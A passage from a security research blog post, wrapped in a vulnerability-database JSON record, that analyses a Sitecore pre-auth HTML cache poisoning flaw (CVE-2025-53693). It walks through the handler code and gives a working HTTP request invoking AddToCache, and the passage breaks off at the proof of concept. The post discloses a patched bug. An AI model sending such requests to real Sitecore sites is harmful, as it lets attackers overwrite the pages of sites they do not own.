{"uuid": "b0453b3f-aa70-494d-8cbf-b4217e22de4a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "name": "Cache Me If You Can (Sitecore Experience Platform Cache Poisoning to RCE)", "description": "# Cache Me If You Can (Sitecore Experience Platform Cache Poisoning to RCE)\nWhat is the main purpose of a Content Management System (CMS)?\n\nWe have to accept that when we ask such existential and philosophical questions, we\u2019re also admitting that we have no idea and that there probably isn\u2019t an easy answer (this is our excuse, and we\u2019re sticking with it).\n\nHowever, we\u2019d bet that you, the reader, probably would say something like \u201cto create and deploy websites\u201d. One might even believe each CMS comes with Bambi\u2019s phone number.\n\nDelusion aside, the general consensus seems to be that the ultimate goal of a CMS is to make it easy for end users to create a shiny website on the Internet and do many, many things.\n\nBut wait - isn\u2019t the CMS market incredibly crowded? What can a CMS vendor do to stand out?\n\nIt\u2019s obvious when you ask yourself, \u201cWhy should the enjoyment of editing a website be limited to the intended authorized user?\u201d.\n\n**Welcome back to another watchTowr Labs blogpost** - Yes, we\u2019re finally following up with part 2 of our Sitecore Experience Platform research.\n\nToday, [we\u2019ll discuss our research as we continue from part 1](https://labs.watchtowr.com/is-b-for-backdoor-pre-auth-rce-chain-in-sitecore-experience-platform/), which ultimately led to our discovery of numerous further vulnerabilities in the Sitecore Experience Platform, enabling complete compromise.\n\nFor the unjaded;\n\n> Sitecore\u2019s Experience Platform is a vastly popular Content Management System (CMS), exposed to the Internet and heavily utilized across organizations known as \u2018the enterprise\u2019. You may recall from our previous Sitecore research - a cursory look at their client list showed tier-1 enterprises, and a cursory sweep of the Internet identified at least 22,000 Sitecore instances.\n\n![](https://labs.watchtowr.com/content/images/2025/08/image-45.png)\n\nAnd yet somehow, we resisted the urge to plaster the Internet with our logo.\n\nYou are welcome.\n\n### So, What\u2019s Occurring In Part 2?\n\nAs always, it wouldn\u2019t be much fun if we didn\u2019t take things way too far.\n\nIn part 2 of our Sitecore research, we\u2019ll continue to demonstrate a lack of restraint or awareness of danger, demonstrating how we chained our ability to combine a pre-auth HTML cache poisoning vulnerability with a post-auth Remote Code Execution vulnerability to completely compromise a fully-patched (at the time) Sitecore Experience Platform instance.\n\n[Previously, in part 1](https://labs.watchtowr.com/is-b-for-backdoor-pre-auth-rce-chain-in-sitecore-experience-platform/), you may recall that we covered three vulnerabilities:\n\n*   [WT-2025-0024 (CVE-2025-34509): Hardcoded Credentials](https://labs.watchtowr.com/is-b-for-backdoor-pre-auth-rce-chain-in-sitecore-experience-platform/)\n*   [WT-2025-0032 (CVE-2025-34510): Post-Auth RCE (Via Path Traversal)](https://labs.watchtowr.com/is-b-for-backdoor-pre-auth-rce-chain-in-sitecore-experience-platform/)\n*   [WT-2025-0025 (CVE-2025-34511) (Bonus): Post-Auth RCE (Via Sitecore PowerShell Extension)](https://labs.watchtowr.com/is-b-for-backdoor-pre-auth-rce-chain-in-sitecore-experience-platform/)\n\nToday, in part 2, we will be focusing on new vulnerabilities:\n\n*   WT-2025-0023 (CVE-2025-53693) - HTML Cache Poisoning through Unsafe Reflections\n*   WT-2025-0019 (CVE-2025-53691) - Remote Code Execution through Insecure Deserialization\n*   WT-2025-0027 (CVE-2025-53694) - Information Disclosure in ItemServices API\n\nThese vulnerabilities were identified in Sitecore Experience Platform 10.4.1 rev. 011628 for the purposes of today's analysis.\n\nPatches were released in June and July 2025 (you can find patch details [here](https://support.sitecore.com/kb?id=kb_article_view&sysparm_article=KB1003667&ref=labs.watchtowr.com) and [here](https://support.sitecore.com/kb?id=kb_article_view&sysparm_article=KB1003734&ref=labs.watchtowr.com)).\n\n0:00\n\n/0:35\n\n![](https://labs.watchtowr.com/content/media/2025/08/sitecore_cache_edited_thumb.jpg)\n\n### WT-2025-0023 (CVE-2025-53693): HTML Cache Poisoning Through Unsafe Reflection\n\n> Authors note: attention, this is going to be a very technically heavy section. If you want to skim through, make your way to the cat meme.\n\nIf you\u2019ve ever read a Sitecore vulnerability write-up, you\u2019ll know it exposes several different HTTP handlers.\n\nOne of them is the infamous `Sitecore.Web.UI.XamlSharp.Xaml.XamlPageHandlerFactory`, which has been abused more than once in the past.\n\nThis handler is registered in the `web.config` file:\n\n```\n<add verb=\"*\" path=\"sitecore_xaml.ashx\" type=\"Sitecore.Web.UI.XamlSharp.Xaml.XamlPageHandlerFactory, Sitecore.Kernel\" name=\"Sitecore.XamlPageRequestHandler\" />\n\n```\n\n\nWe can reach this handler pre-auth with a simple HTTP request like:\n\n`GET /-/xaml/watever`\n\nSo what\u2019s actually happening here?\n\nThe `XamlPageHandlerFactory` is designed to internally fetch another handler responsible for page generation. This resolution happens through the `XamlPageHandlerFactory.GetHandler` method:\n\n```\npublic IHttpHandler GetHandler(HttpContext context, string requestType, string url, string pathTranslated)\n{\n    Assert.ArgumentNotNull(context, \"context\");\n    Assert.ArgumentNotNull(requestType, \"requestType\");\n    Assert.ArgumentNotNull(url, \"url\");\n    Assert.ArgumentNotNull(pathTranslated, \"pathTranslated\");\n    int indexOfFirstMatchToken = url.GetIndexOfFirstMatchToken(new List<string>\n    {\n        \"~/xaml/\",\n        \"-/xaml/\"\n    }, StringComparison.OrdinalIgnoreCase);\n    if (indexOfFirstMatchToken >= 0)\n    {\n        return XamlPageHandlerFactory.GetXamlPageHandler(context, StringUtil.Left(url, indexOfFirstMatchToken)); // [1]\n    }\n    indexOfFirstMatchToken = context.Request.PathInfo.GetIndexOfFirstMatchToken(new List<string>\n    {\n        \"~/xaml/\",\n        \"-/xaml/\"\n    }, StringComparison.OrdinalIgnoreCase);\n    if (indexOfFirstMatchToken >= 0)\n    {\n        return XamlPageHandlerFactory.GetXamlPageHandler(context, StringUtil.Left(context.Request.PathInfo, indexOfFirstMatchToken));\n    }\n    return null;\n}\n\n```\n\n\nAt **\\[1\\]**, the `XamlPageHandlerFactory.GetXamlPageHandler` method is invoked. Its job is simple on paper: return the handler object that implements the `IHttpHandler` interface.\n\nThere are a few different routines that can resolve which handler gets returned, but the one that matters most for our purposes is the path that leverages `.xaml.xml` files (that\u2019s almost certainly why the word `Xaml` shows up in the handler\u2019s name).\n\nThese `.xaml.xml` files are scattered across a Sitecore installation \u2014 for example, in locations like `sitecore/shell/Applications/Xaml`.\n\n![](https://labs.watchtowr.com/content/images/2025/08/image-46.png)\n\nLet\u2019s take a look at a fragment of one of these XAML definition files \u2014 for example, `WebControl.xaml.xml`:\n\n```\n<?xml version=\"1.0\" encoding=\"UTF-8\" ?>\n<xamlControls \n  xmlns:x=\"<http://www.sitecore.net/xaml>\"\n  xmlns:ajax=\"<http://www.sitecore.net/ajax>\"\n  xmlns:rest=\"<http://www.sitecore.net/rest>\"\n  xmlns:r=\"<http://www.sitecore.net/renderings>\"\n  xmlns:xmlcontrol=\"<http://www.sitecore.net/xmlcontrols>\"\n  xmlns:p=\"<http://schemas.sitecore.net/Visual-Studio-Intellisense>\"\n  xmlns:asp=\"<http://www.sitecore.net/microsoft/webcontrols>\"\n  xmlns:html=\"<http://www.sitecore.net/microsoft/htmlcontrols>\"\n  xmlns:xsl=\"<http://www.w3.org/1999/XSL/Transform>\">\n  \n  <Sitecore.Shell.Xaml.WebControl>\n  \n    <Sitecore.Controls.HtmlPage runat=\"server\">\n      <AjaxScriptManager runat=\"server\" />\n      <ContinuationManager runat=\"server\" />\n\n      <asp:Wizard ID=\"Wizard1\" runat=\"server\" Width=\"322px\" ActiveStepIndex=\"0\" OnActiveStepChanged=\"GetFavoriteNumerOnActiveStepIndex\"\n                    BorderColor=\"#B5C7DE\" BorderWidth=\"1px\" Font-Size=\"8pt\" \n                    CellPadding=\"5\">\n        <NavigationButtonStyle BackColor=\"White\" BorderColor=\"red\" BorderStyle=\"Solid\" BorderWidth=\"1px\" Font-Size=\"8pt\" ForeColor=\"#284E98\" />\n        <SideBarStyle BackColor=\"blue\" Font-Size=\"8pt\" VerticalAlign=\"Top\" />\n        <StepStyle ForeColor=\"#333333\" />\n        <SideBarButtonStyle Font-Size=\"8pt\" ForeColor=\"White\" />\n        <HeaderStyle BackColor=\"green\" BorderColor=\"#EFF3FB\"  BorderStyle=\"Solid\" BorderWidth=\"2px\" Font-Bold=\"True\" Font-Size=\"8pt\" ForeColor=\"White\" HorizontalAlign=\"Center\" />\n        <WizardSteps>\n          <asp:WizardStep ID=\"WizardStep1\" runat=\"server\" Title=\"Step 1\" AllowReturn=\"False\">\n            Wizard Step 1<br />\n            <br />                                                    \n            Favorite Number:                                                                     \n            <asp:DropDownList ID=\"DropDownList1\" runat=\"server\">\n              <asp:ListItem>1</asp:ListItem>\n              <asp:ListItem>2</asp:ListItem>\n              <asp:ListItem>3</asp:ListItem>\n              <!-- removed for readability -->\n\n```\n\n\nThis file defines a full control structure, with nested controls and components. You can reach this handler directly by calling the class defined in the first tag:\n\n```\nGET /-/xaml/Sitecore.Shell.Xaml.WebControl\n\n```\n\n\nFrom there, Sitecore generates the entire page, initializes every component described in the XAML, and wires up all the flows and rules in the .NET code.\n\nThat means you can dig into these XAML definitions and review the controls to see if anything interesting falls out.\n\nWhich is exactly how we ended up at this line:\n\n```\n<AjaxScriptManager runat=\"server\" />\n\n```\n\n\nIt includes the `Sitecore.Web.UI.WebControls.AjaxScriptManager` control (which extends .NET `WebControl`). That means some of its methods - like `OnPreRender` - will fire automatically when the page initializes.\n\nFrom here, we follow the thread into the code flow. Exciting? Yes. Tiring? Also yes. But this is where things start to get interesting:\n\n```\nprotected override void OnPreRender(EventArgs e)\n{\n    Assert.ArgumentNotNull(e, \"e\");\n    base.OnPreRender(e);\n    if (!this.IsEvent)\n    {\n        this.PageScriptManager.OnPreRender();\n        return;\n    }\n    System.Web.UI.Page page = this.Page;\n    if (page == null)\n    {\n        return;\n    }\n    page.SetRenderMethodDelegate(new RenderMethod(this.RenderPage));\n    this.EnableOutput();\n    this.EnsureChildControls();\n    string clientId = page.Request.Form[\"__SOURCE\"]; // [1]\n    string text = page.Request.Form[\"__PARAMETERS\"]; // [2]\n    if (string.IsNullOrEmpty(text))\n    {\n        string systemFormValue = AjaxScriptManager.GetSystemFormValue(page, \"__EVENTTYPE\");\n        if (string.IsNullOrEmpty(systemFormValue))\n        {\n            return;\n        }\n        text = AjaxScriptManager.GetLegacyEvent(page, systemFormValue);\n    }\n    if (ContinuationManager.Current == null)\n    {\n        this.Dispatch(clientId, text);\n        return;\n    }\n    AjaxScriptManager.DispatchContinuation(clientId, text); // [3]\n}\n\n```\n\n\nAt `[1]`, the code pulls the value of `__SOURCE` straight from the HTML body.\n\nAt `[2]`, it does the same for `__PARAMETERS`.\n\nAt `[3]`, execution continues through the `DispachContinuation` method - which, in turn, takes us to the `Dispatch` method. That\u2019s where the real story begins.\n\n```\ninternal object Dispatch(string clientId, string parameters)\n{\n    //... removed for readability\n    if (!string.IsNullOrEmpty(clientId))\n    {\n        control = page.FindControl(clientId); // [1]\n        if (control == null)\n        {\n            control = AjaxScriptManager.FindClientControl(page, clientId); // [2]\n        }\n    }\n    if (control == null)\n    {\n        control = this.MainControl;\n    }\n    Assert.IsNotNull(control, \"Control \\\\\"{0}\\\\\" not found.\", clientId);\n    bool flag = AjaxScriptManager.CommandPattern.IsMatch(parameters);\n    if (flag)\n    {\n        this.DispatchCommand(control, parameters);\n        return null;\n    }\n    return AjaxScriptManager.DispatchMethod(control, parameters); // [3]\n}\n\n```\n\n\nAt `[1]` and `[2]`, the code attempts to retrieve a control based on the `__SOURCE` parameter. In practice, this means you can point it to any control defined in the XAML.\n\nAt `[3]`, the retrieved control and our supplied `__PARAMETERS` body parameter are passed into the `DispatchMethod`. This is where things get interesting - the critical method that underpins this vulnerability.\n\n```\nprivate static object DispatchMethod(System.Web.UI.Control control, string parameters)\n{\n    Assert.ArgumentNotNull(control, \"control\");\n    Assert.ArgumentNotNullOrEmpty(parameters, \"parameters\");\n    AjaxMethodEventArgs ajaxMethodEventArgs = AjaxMethodEventArgs.Parse(parameters); // [1]\n    Assert.IsNotNull(ajaxMethodEventArgs, typeof(AjaxMethodEventArgs), \"Parameters \\\\\"{0}\\\\\" could not be parsed.\", parameters);\n    ajaxMethodEventArgs.TargetControl = control;\n    List<IIsAjaxEventHandler> handlers = AjaxScriptManager.GetHandlers(control); // [2]\n    for (int i = handlers.Count - 1; i >= 0; i--)\n    {\n        handlers[i].PreviewMethodEvent(ajaxMethodEventArgs);\n        if (ajaxMethodEventArgs.Handled)\n        {\n            return ajaxMethodEventArgs.ReturnValue;\n        }\n    }\n    for (int j = 0; j < handlers.Count; j++)\n    {\n        handlers[j].HandleMethodEvent(ajaxMethodEventArgs); // [3]\n        if (ajaxMethodEventArgs.Handled)\n        {\n            return ajaxMethodEventArgs.ReturnValue;\n        }\n    }\n    if (control is XmlControl && AjaxScriptManager.DispatchXmlControl(control, ajaxMethodEventArgs)) // [4]\n    {\n        return ajaxMethodEventArgs.ReturnValue;\n    }\n    return null;\n}\n\n```\n\n\nAt `[1]`, the parameters string is parsed into `AjaxMethodEventArgs` objects. These objects contain two key properties: the method name and the method arguments. It\u2019s worth noting that arguments can only be retrieved in two forms:\n\n*   An array of strings\n*   An empty array\n\nAt `[2]`, the code retrieves a list of objects implementing the `IIsAjaxEventHandler` interface, based on the control we selected.\n\n```\nprivate static List<IIsAjaxEventHandler> GetHandlers(System.Web.UI.Control control)\n{\n    Assert.ArgumentNotNull(control, \"control\");\n    List<IIsAjaxEventHandler> list = new List<IIsAjaxEventHandler>();\n    while (control != null)\n    {\n        IIsAjaxEventHandler isAjaxEventHandler = control as IIsAjaxEventHandler;\n        if (isAjaxEventHandler != null)\n        {\n            list.Add(isAjaxEventHandler);\n        }\n        control = control.Parent;\n    }\n    return list;\n}\n\n```\n\n\nIt simply takes our control and its parent controls, then attempts a cast.\n\nAt `[3]`, the code iterates over the retrieved handlers and calls their `HandleMethodEvent`.\n\nLet\u2019s pause here. The `IIsAjaxEventHandler.HandleMethodEvent` method is only implemented in four Sitecore classes, and realistically only two are of interest. By \u201cinteresting,\u201d we mean classes that we can supply via the XAML handler _and_ that give us at least some hope of being abusable:\n\n*   `Sitecore.Web.UI.XamlShar.Xaml.XamlPage`\n*   `Sitecore.Web.UI.XamlSharp.Xaml.XamlControl`\n\nTheir implementations of `HandleMethodEvent` are almost identical:\n\n```\nvoid IIsAjaxEventHandler.HandleMethodEvent(AjaxMethodEventArgs e)\n{\n    Assert.ArgumentNotNull(e, \"e\");\n    this.ExecuteAjaxMethod(e);\n}\n\nprotected virtual bool ExecuteAjaxMethod(AjaxMethodEventArgs e)\n{\n    Assert.ArgumentNotNull(e, \"e\");\n    MethodInfo methodFiltered = ReflectionUtil.GetMethodFiltered<ProcessorMethodAttribute>(this, e.Method, e.Parameters, true); // [1]\n    if (methodFiltered != null)\n    {\n        methodFiltered.Invoke(this, e.Parameters); // [2]\n        return true;\n    }\n    return false;\n}\n\n```\n\n\nAt `[1]`, the method name and arguments from the `AjaxMethodEventArgs` are passed into reflection to resolve which method to call.\n\nAt `[2]`, the selected method is then invoked with our arguments.\n\nSo yes - we\u2019ve landed in a reflection mechanism that lets us call methods dynamically. And we already know we can supply string arguments. In other words, if we can find any method that accepts strings, we might have a straightforward path to RCE.\n\nBefore we get too excited, there\u2019s a catch: the method isn\u2019t just _any_ method. It\u2019s resolved through `ReflectionUtil.GetMethodFiltered`, so we need to understand how that filtering works.\n\nOne more detail worth noting: the first argument being passed is `this`. Which means the current object instance will be handed into the call - and that shapes exactly which methods we can realistically reach.\n\n```\npublic static MethodInfo GetMethodFiltered<T>(object obj, string methodName, object[] parameters, bool throwIfFiltered) where T : Attribute\n{\n    MethodInfo method = ReflectionUtil.GetMethod(obj, methodName, parameters); // [1]\n    if (method == null)\n    {\n        return null;\n    }\n    return ReflectionUtil.Filter.Filter<T>(method); // [2]\n}\n\n```\n\n\nAt `[1]`, the method gets resolved.\n\nUnder the hood, this happens through fairly standard .NET reflection: the input contains both a method name and its arguments. That\u2019s typical reflection behavior - look up a method by name, check its argument types, and call it.\n\nHere\u2019s the twist: the current object is also passed in as an argument. In practice, this object will always be either `XamlPage` or `XamlControl`. That means we can only ever resolve methods which:\n\n*   Are implemented in `XamlPage`, `XamlControl`, or one of their subclasses.\n*   Accept only string arguments, or none at all.\n\nWe started reviewing both classes. Nothing exciting there. But then we remembered - these classes also extend regular .NET classes. For example, `XamlControl` extends `System.Web.UI.WebControls.WebControl`. That gave us hope. Maybe we could reflectively call interesting methods from `WebControl`.\n\nThat hope was short-lived. At `[2]`, the `Filter<T>` method steps in. It enforces internal allowlists and denylists over the methods returned at `[1]`. The ultimate rule is simple: only methods whose full name contains `Sitecore.` are allowed. That kills our chance to call into .NET\u2019s `WebControl` - since, unsurprisingly, its full name doesn\u2019t contain \u201cSitecore\u201d.\n\nSo, to recap:\n\n*   Yes, there\u2019s reflection.\n*   But it\u2019s restricted to Sitecore methods only (and two Sitecore classes).\n*   Sadly, nothing abusable here.\n\nStill, we chased this rabbit hole with excitement - the attack surface looked _incredibly_ promising. That\u2019s research life: get your hopes up, then watch them get filtered out.\n\nBut before giving up, we spotted one more detail worth digging into. At `[4]` in `DispatchMethod`, there\u2019s another branch of logic that can be easy to miss in the shadow of the reflection handling:\n\n```\nif (control is XmlControl && AjaxScriptManager.DispatchXmlControl(control, ajaxMethodEventArgs)) // [4]\n\n```\n\n\nIf the control can be cast to `XmlControl`, execution takes a different path. It\u2019s handed directly into `DispatchXmlControl`, along with our `ajaxMethodEventArgs`.\n\nBut once you dig into `DispatchXmlControl`, you realize it behaves almost exactly like the reflection flow we just walked through.\n\nSame mechanics, same idea \u2013 just a slightly different wrapper.\n\n```\nprivate static bool DispatchXmlControl(System.Web.UI.Control control, AjaxMethodEventArgs eventArgs)\n{\n    Assert.ArgumentNotNull(control, \"control\");\n    Assert.ArgumentNotNull(eventArgs, \"eventArgs\");\n    MethodInfo methodFiltered = ReflectionUtil.GetMethodFiltered<ProcessorMethodAttribute>(control, eventArgs.Method, eventArgs.Parameters, true);\n    if (methodFiltered == null)\n    {\n        return false;\n    }\n    eventArgs.ReturnValue = methodFiltered.Invoke(control, eventArgs.Parameters);\n    eventArgs.Handled = true;\n    return true;\n}\n\n```\n\n\nThere\u2019s one major difference here though. Our control is no longer `XamlPage` or `XamlControl` in type - it\u2019s an `XmlControl` type. That technically extends the attack surface, since we already knew the first two classes didn\u2019t offer much in terms of abusable methods.\n\nSo what about `XmlControl`? Could this be where things get exciting?\n\nSadly, no. There\u2019s nothing particularly juicy hiding inside. But for completeness (and to avoid the sinking feeling of missing something obvious later), let\u2019s take a quick look at its definition anyway:\n\n```\nnamespace Sitecore.Web.UI.XmlControls\n{\n    public class XmlControl : WebControl, IHasPlaceholders\n    {\n\t\t    //...\n\t\t}\n}\n\n```\n\n\nThere\u2019s a small trap here. At first glance, you might think `XmlControl` extends the familiar .NET `System.Web.UI.WebControl`. That wouldn\u2019t be a big deal, because implemented reflections deny the non-Sitecore classes.\n\nBut no - `XmlControl` actually extends an abstract class, `Sitecore.Web.UI.WebControl`. This subtle difference matters because it means it slips through the whitelist filter we saw earlier. In other words, this class,= and anything that extends it, can get past the \u201conly Sitecore.\\*\u201d rule. That puts it back on our \u201cpotentially abusable\u201d list.\n\nNow, the obvious question: can we actually _deliver_ any control that extends `XmlControl`? Without that, this whole reflection path is just an academic curiosity.\n\nAfter a bit of digging, we found the answer - and it\u2019s not a long list. In fact, we found only one handler with a class extending `XmlControl`:\n\n`HtmlPage.xaml.xml`\n\nThis is our entry point. If we can instantiate this control through a crafted XAML handler, we can hit the reflection logic again - this time with a new type (`XmlControl`) that passes the whitelist check. And that finally sets us up for the \u201cmagic method\u201d we\u2019d been chasing all along.\n\n```\n<?xml version=\"1.0\" encoding=\"utf-8\" ?>\n<xamlControls\n  xmlns:html=\"<http://www.sitecore.net/htmlcontrols>\"\n  xmlns:x=\"<http://www.sitecore.net/xaml>\"\n  xmlns:xmlcontrol=\"<http://www.sitecore.net/xmlcontrols>\"> <!-- [1] -->\n  <Sitecore.Controls.HtmlPage>&lt;!DOCTYPE html&gt;\n    <x:param name=\"Title\" value=\"Sitecore\" />\n    <x:param name=\"Background\" />\n    <x:param name=\"Overflow\" />\n    <html>\n      <html:Head runat=\"server\">\n        <html:Title runat=\"server\">\n          <Literal Text=\"{Title}\" runat=\"server\"></Literal>\n        </html:Title>\n        <meta name=\"GENERATOR\" content=\"Sitecore\" />\n        <meta http-equiv=\"imagetoolbar\" content=\"no\" />\n        <meta http-equiv=\"imagetoolbar\" content=\"false\" />\n        <Placeholder runat=\"server\" key=\"Stylesheets\"/>\n        <Placeholder runat=\"server\" key=\"Scripts\"/>\n      </html:Head>\n\n      <HtmlBody runat=\"server\">\n        <x:styleattribute runat=\"server\" name=\"overflow\" value=\"{Overflow}\" />\n\n        <html:Form runat=\"server\">\n          <x:styleattribute runat=\"server\" name=\"background\" value=\"{Background}\" />\n          <xmlcontrol:GlobalHeader runat=\"server\"/> <!-- [2] -->\n          <Placeholder runat=\"server\"/>\n        </html:Form>\n      </HtmlBody>\n    </html>\n  </Sitecore.Controls.HtmlPage>\n</xamlControls>\n\n```\n\n\nAt `[1]`, we\u2019ve got the `xmlcontrol` namespace defined.\n\nAt `[2]`, you can see the `xmlcontrol:GlobalHeader` in action.\n\nSo far, so good. But something\u2019s missing: you\u2019ll notice the `AjaxScriptManager` isn\u2019t referenced anywhere in this XAML. And without it, we can\u2019t actually trigger the reflection logic we\u2019ve been chasing.\n\nFortunately, we didn\u2019t have to wait long for a breakthrough. We quickly realized that the `HtmlPage` control shows up in other handlers too. One of the most interesting?\n\n**`Sitecore.Shell.Xaml.WebControl`**\n\nThis handler pulls in both the `HtmlPage` _and_ the `AjaxScriptManager`. That means, in this context, the missing piece snaps into place \u2013 and our path to reflection (via `XmlControl`) is wide open again.\n\nLet\u2019s take a look:\n\n```\n<!-- removed for readability -->\n<Sitecore.Shell.Xaml.WebControl>\n\n\t<Sitecore.Controls.HtmlPage runat=\"server\">\n\t  <AjaxScriptManager runat=\"server\" />\n<!-- removed for readability -->\n\n```\n\n\nWe have `HtmlPage` referenced in `Sitecore.Shell.Xaml.WebControl`, and that in turn pulls in the `xmlcontrol:GlobalHeader` control.\n\nSo to sum up, if we call this endpoint:\n\n```\nGET /-/xaml/Sitecore.Shell.Xaml.WebControl\n\n```\n\n\nWe have the `AjaxScriptManager` used, thus the code responsible for the reflection will be triggered, and `xmlcontrol:GlobalHeader` will be on the list of available controls. Great!\n\nWhich means it\u2019s finally time to reveal the \u201csecret weapon\u201d we found hiding inside the `Sitecore.Web.UI.WebControl` class: a surprisingly powerful method that changes the game.\n\n![](https://labs.watchtowr.com/content/images/2025/08/image-47.png)\n\nIt\u2019s the `Sitecore.Web.UI.WebControl.AddToCache(string, string)` method:\n\n```\nprotected virtual void AddToCache(string cacheKey, string html)\n{\n    HtmlCache htmlCache = CacheManager.GetHtmlCache(Sitecore.Context.Site); \n    if (htmlCache != null)\n    {\n        htmlCache.SetHtml(cacheKey, html, this._cacheTimeout);\n    }\n}\n\n```\n\n\nYou might have expected something flashier. But then again, the title of this blog literally promised HTML cache poisoning - so maybe this is exactly what we deserved.\n\nStill, there\u2019s a certain beauty in just how simple (and unsafe) this reflection really is. With a single call to `AddToCache`, we can hand it two things:\n\n*   The name of the cache key\n*   Whatever HTML content we want stored under that key\n\nInternally, this just wraps `HtmlCache.SetHtml`, which happily overwrites existing entries or adds new ones. That\u2019s it. Clean, direct, and very powerful.\n\nAnd the best part? This works pre-auth. If there\u2019s any HTML cached in Sitecore, we can replace it with whatever we want.\n\n### Reaching AddToCache\n\nThat long description can feel like a maze if you\u2019re not buried in the codebase or stepping through the debugger. So let\u2019s take a breather from the internals and look at something a little more tangible: a sample HTTP request:\n\n```\nGET /-/xaml/Sitecore.Shell.Xaml.WebControl HTTP/2\nHost: labcm.dev.local\nContent-Length: 117\nContent-Type: application/x-www-form-urlencoded\n\n__PARAMETERS=AddToCache(\"watever\",\"<html><body>watchTowr</body></html>\")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1\n\n```\n\n\nLet\u2019s break this request down into its two important parameters:\n\n*   `**__PARAMETERS**` - here, the method name `AddToCache` is specified. Inside the parentheses we pass two string arguments: the first is the `cacheKey`, the second is the `html` value to store.\n*   `**__SOURCE**` - this identifies the control on which the method from `__PARAMETERS` should be executed.\n\nThis control identifier isn\u2019t exactly intuitive: `ctl00_ctl00_ctl05_ctl03` represents the tree of controls defined in the XAML, ultimately pointing us to the `GlobalHeader` control (which extends `XmlControl`). This identifier should be stable across Sitecore deployments since it\u2019s derived directly from the static XAML handler definitions.\n\nTo double-check, you can step into `AjaxScriptManager.FindClientControl` and verify that the `__SOURCE` value really does resolve to the `GlobalHeader`.\n\n![](https://labs.watchtowr.com/content/images/2025/08/image-48.png)\n\nIt does indeed resolve correctly - `__SOURCE` gives us the `GlobalHeader` control (the `control3` object). Perfect.\n\nFrom here, we can keep stepping through the debugger until execution flows straight into `DispatchXmlControl`. That\u2019s where things start to get properly interesting.\n\n![](https://labs.watchtowr.com/content/images/2025/08/image-49.png)\n\nWe\u2019ve finally hit the reflection stage, and `methodFiltered` is set to the `AddToCache(string, string)` method \u2013 reflection worked.\n\nAt this point, there\u2019s no detour left: execution lands exactly where we wanted it, with a direct call to `AddToCache`.\n\n![](https://labs.watchtowr.com/content/images/2025/08/image-50.png)\n\nThis is super awesome - but we\u2019re not ready to celebrate yet. We still don\u2019t know how Sitecore actually generates the `cacheKey`, and without that piece of the puzzle we can\u2019t reliably overwrite legitimate cached HTML.\n\n### Cache Key Creation\n\nAfter a quick investigation, we realized that nothing in Sitecore is cacheable by default. You have to explicitly opt in for HTML caching, **but it turns out that\u2019s extremely common.**\n\nPerformance guides, blog posts, and Sitecore\u2019s own docs all recommend enabling it to speed up your site. In fact, Sitecore actively encourages it in multiple places, like [here](https://doc.sitecore.com/xp/en/developers/104/sitecore-experience-manager/configure-html-caching.html?utm_source=chatgpt.com) and [here](https://doc.sitecore.com/xp/en/developers/sxa/latest/sitecore-experience-accelerator/set-sxa-caching-options.html?utm_source=chatgpt.com):\n\n> You use the HTML cache to improve the performance of websites.\n> \n> You can get significant performance gains from configuring output caching for Layout Service renderings...\n\nEnabling caching is as simple as flipping a setting for Sitecore items \u2013 just like in the screenshot below.\n\n![](https://labs.watchtowr.com/content/images/2025/08/image-51.png)\n\nIf you tick the **Cacheable** box, caching is enabled for that specific Sitecore item. There are a handful of other options too - like **Vary By Login**, **Vary By Query String**, etc.\n\nThese selections aren\u2019t just cosmetic. They directly influence how the cache key is generated inside `Sitecore.Web.UI.WebControl.GetCacheKey`. In practice, the cache key is built from a mix of the item name plus whatever \u201cvary by\u201d conditions you\u2019ve configured.\n\nSo the shape of the cache key - and whether you can reliably overwrite a given entry - depends entirely on how caching has been configured for that item.\n\n```\npublic virtual string GetCacheKey()\n{\n\tSiteContext site = Sitecore.Context.Site;\n\tif (this.Cacheable && (site == null || site.CacheHtml) && !this.SkipCaching()) // [1]\n\t{\n\t\tstring text = this.CachingID; // [2]\n\t\tif (text.Length == 0)\n\t\t{\n\t\t\ttext = this.CacheKey;\n\t\t}\n\t\tif (text.Length > 0)\n\t\t{\n\t\t\tstring text2 = text + \"_#lang:\" + Language.Current.Name.ToUpperInvariant(); // [3]\n\t\t\tif (this.VaryByData) // [4]\n\t\t\t{\n\t\t\t\tstring str = this.ResolveDataKeyPart();\n\t\t\t\ttext2 += str;\n\t\t\t}\n\t\t\tif (this.VaryByDevice) // [5]\n\t\t\t{\n\t\t\t\ttext2 = text2 + \"_#dev:\" + Sitecore.Context.GetDeviceName();\n\t\t\t}\n\t\t\tif (this.VaryByLogin) // [6]\n\t\t\t{\n\t\t\t\ttext2 = text2 + \"_#login:\" + Sitecore.Context.IsLoggedIn.ToString();\n\t\t\t}\n\t\t\tif (this.VaryByUser) // [7]\n\t\t\t{\n\t\t\t\ttext2 = text2 + \"_#user:\" + Sitecore.Context.GetUserName();\n\t\t\t}\n\t\t\tif (this.VaryByParm) // [8]\n\t\t\t{\n\t\t\t\ttext2 = text2 + \"_#parm:\" + this.Parameters;\n\t\t\t}\n\t\t\tif (this.VaryByQueryString && site != null) // [9]\n\t\t\t{\n\t\t\t\tSiteRequest request = site.Request;\n\t\t\t\tif (request != null)\n\t\t\t\t{\n\t\t\t\t\ttext2 = text2 + \"_#qs:\" + MainUtil.ConvertToString(request.QueryString, \"=\", \"&\");\n\t\t\t\t}\n\t\t\t}\n\t\t\tif (this.ClearOnIndexUpdate)\n\t\t\t{\n\t\t\t\ttext2 += \"_#index\";\n\t\t\t}\n\t\t\treturn text2;\n\t\t}\n\t}\n\treturn string.Empty;\n}\n\n```\n\n\nAt `[1]`, the code first checks whether caching is enabled for the item. If not, it just returns an empty string and nothing gets stored.\n\nAt `[2]`, it builds the base of the cache key from the item name. This is usually derived from either the item\u2019s path or its URL. For example, an item named `Sample Sublayout.ascx` under Sitecore\u2019s internal `/layouts` path would start with:\n\n```\n/layouts/Sample Sublayout.ascx\n\n```\n\n\nAt `[3]`, the language is appended. So for English, the key becomes:\n\n```\n/layouts/Sample Sublayout.ascx_#lang:EN\n\n```\n\n\nFrom there, additional segments can be bolted on depending on the item\u2019s caching configuration. These come from the `VaryBy...` options (`[4]` to `[9]`), and they add complexity to the cache key. Some are trivial to predict (like `True` or `False`), while others are essentially impossible to guess (like GUIDs).\n\nPut simply - whether you can target and overwrite a specific cache entry depends entirely on which \u201cVary By\u201d options are enabled for that item.\n\n### Simple Proof of Concept\n\nWith a few sample cache keys in hand, you can already start abusing this behavior. Here\u2019s what the original page looks like before poisoning\u2026\n\n![](https://labs.watchtowr.com/content/images/2025/08/image-52.png)\n\nNow, let\u2019s send 